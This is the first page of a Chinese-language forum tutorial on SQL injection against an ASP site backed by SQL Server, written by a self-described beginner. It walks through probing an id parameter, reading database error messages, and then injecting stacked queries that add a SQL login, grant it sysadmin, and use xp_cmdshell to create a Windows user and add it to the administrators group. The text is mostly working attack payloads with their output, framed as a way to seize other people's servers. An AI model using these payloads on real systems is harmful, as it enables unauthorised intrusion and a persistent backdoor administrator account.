作者:覆灭之魔 文章来源:影子鹰安全网络
刚刚开始学习SQL注入入侵,有写的不对和不好的地方希望各位师哥,师姐们多多指导。
在一个供求信息发布的网站上测试了一下,页面Http://www.xxx.com/new/new.asp?id=49
我做了如下测试:(1) Http://www.xxx.com/new/new.asp?id=49'
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14 [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'ID=49'' 中。 /new.asp,行36
(2) Http://www.xxx.com/new/new.asp?id=49 and 1=1 (正常返回页面)
(3) Http://www.xxx.com/new/new.asp?id=49 and 1=2 Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd' BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。 /new.asp,行42
注:上面的测试已经可以看出有SQL注入的机会,我们用下面一个句子来判断他数据库类型和登陆身份。 Http://www.xxx.com/new/new.asp?id=49 and user>0 Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd' 将nvarchar值 "dbo" 转换数据类型为 int 的列时发生语法错误 /new.asp,行42 注:如果显示"dbo" 转换数据类型为 int 的列时发生语法错误 那么就可以用我下面介绍的方法来获得系统管理权限,如果是"abc" 转换数据类型为 int 的列时发生语法错误 那么就用不能用我下面的介绍来获得系统权限了。
获得以上信息后,就可以提交以下URL来一步一步的获得SQL管理员权限和系统权限了。
(1) Http://www.xxx.com/new/new.asp?id=49;exec aster.dbo.sp_addlogin fmzm;-- 添加SQL用户
(2) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;-- 设置SQL帐号FMZM 的密码为 FMZM
(3) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--
提升权限:加FMZM进sysadmin管理组(有时候会不成功,就常识下面的句子 ;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 为什么会这样,我也不清清楚,我就遇到了?栽 。。。)
(4) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 建立一个系统用FMZM 并设置其密码为FMZM (注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 这些很关键,如果不加这些,你建立的用户很有可能无法登陆,这些是启用你的帐号,并且使密码永不过期的一些相关设置。)
(5) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--
把帐号FMZM加入到管理员组
[1] [2] 下一页 |